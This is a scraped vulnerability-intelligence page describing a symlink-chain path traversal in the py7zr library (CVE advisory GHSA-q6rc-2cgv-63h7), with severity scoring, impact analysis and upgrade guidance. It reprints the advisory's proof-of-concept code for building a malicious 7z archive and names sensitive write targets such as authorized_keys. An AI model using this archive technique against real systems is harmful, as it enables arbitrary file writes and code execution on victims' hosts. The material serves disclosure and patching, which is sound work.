Severity by source
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Exploitation occurs locally during extraction of an attacker-supplied archive (AV:L, UI:R), needs no authentication against py7zr (PR:N), and arbitrary file write yields full C/I/A impact via downstream code execution.
Primary rating from Vendor (https://github.com/miurahr/py7zr).
CVSS VectorVendor: https://github.com/miurahr/py7zr
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Lifecycle Timeline
2Blast Radius
ecosystem impact- 363 pypi packages depend on py7zr (224 direct, 142 indirect)
Ecosystem-wide dependent count for version 1.1.3.
DescriptionCVE.org
Summary
There exists an arbitrary file write vulnerability in py7zr (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.
Details
The root cause of this vulnerability is that py7zr fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor.
<img width="1806" height="834" alt="image" src="https://github.com/user-attachments/assets/cdd27ddb-ba79-4b20-b8b9-21f3e16a6e8b" />
PoC
Construct PoC Archive File
The following pseudo-code illustrates the vulnerable logic.
def create_sevenz_exp(output_dir: str):
filename = "archive.7z"
file_path = output_dir + filename
with py7zr.SevenZipFile(file_path, 'w') as archive:
archive.writestr("Some Text", "dir0/someFile.txt")
add_symlink(archive, "dir1", "dir0/..")
add_symlink(archive, "dir2", "dir1/..")
add_symlink(archive, "dir3", "dir2/..")
add_symlink(archive, "dir4", "dir3/..")
add_symlink(archive, "dir5", "dir4/..")
add_symlink(archive, "dir6", "dir5/..")
add_symlink(archive, "dir7", "dir6/..")
add_symlink(archive, "dir8", "dir7/..")
add_symlink(archive, "myTmp", "dir8/tmp")
archive.writestr("Malicious Text\n", "myTmp/poc.txt")Unpack the archive
Use common decompression methods, then extract the archive.
import sys
import os
import py7zr
def extract_7z(seven_path, output_dir):
os.makedirs(output_dir, exist_ok=True)
with py7zr.SevenZipFile(seven_path, mode='r') as z:
z.extractall(path=output_dir)
print(f"Extracted '{seven_path}' to '{output_dir}'")
if __name__ == "__main__":
seven_file = sys.argv[1]
base_name = os.path.splitext(os.path.basename(seven_file))[0]
output = base_name + "_sevenz_output"
extract_7z(seven_file, output)Impact
<img width="1268" height="572" alt="image" src="https://github.com/user-attachments/assets/919b5ff6-97ba-4781-b3e4-e9c9cc0f229b" />
After decompression, the output directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.
AnalysisAI
Arbitrary file write in py7zr versions 1.1.0 through 1.1.2 allows attackers to escape the destination directory during archive extraction by chaining malicious symbolic links that resolve outside the target path. A victim who calls extractall() on a crafted 7z archive can have files written to arbitrary host filesystem locations, potentially escalating to remote code execution, privilege escalation, or data corruption. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Requires the victim application to call py7zr.SevenZipFile.extractall() (or equivalent extraction API) on a 7z archive supplied or influenced by the attacker, using py7zr versions 1.1.0 through 1.1.2 on a filesystem that supports symbolic links (Linux, macOS, or Windows with symlink privileges). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 vector AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H (8.0 High) is plausible if you treat the 'attacker' as a remote party supplying a malicious archive and the 'victim' as a user running extractall, but PR:L is debatable - the attacker generally needs no authentication against py7zr itself; rather, the consuming application must be willing to extract attacker-supplied archives, which is a deployment-context condition rather than an authentication requirement. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker uploads a crafted 7z archive to a service that processes user submissions with py7zr <= 1.1.2 (for example a malware-analysis sandbox, document-conversion service, or CI job that unpacks build artifacts). When the service calls extractall(), the chained symlinks materialize and resolve outside the extraction directory, and a subsequent regular file in the archive is written to a sensitive path such as ~/.ssh/authorized_keys, a cron drop directory, or a Python site-packages file - yielding code execution as the service user. … |
| Remediation | Vendor-released patch: upgrade py7zr to 1.1.3 or later (pip install --upgrade 'py7zr>=1.1.3'), which hardens path traversal checks and adds regression tests covering the chained-symlink scenario; see https://github.com/miurahr/py7zr/releases/tag/v1.1.3 and the advisory https://github.com/miurahr/py7zr/security/advisories/GHSA-q6rc-2cgv-63h7. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Conduct immediate inventory of all internal applications, services, and dependencies using py7zr-including transitive dependencies in Python package trees (use pip/pip-audit or supply chain scanning tools). …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-59 – Improper Link Resolution Before File Access
View allSame technique Privilege Escalation
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-39050
GHSA-q6rc-2cgv-63h7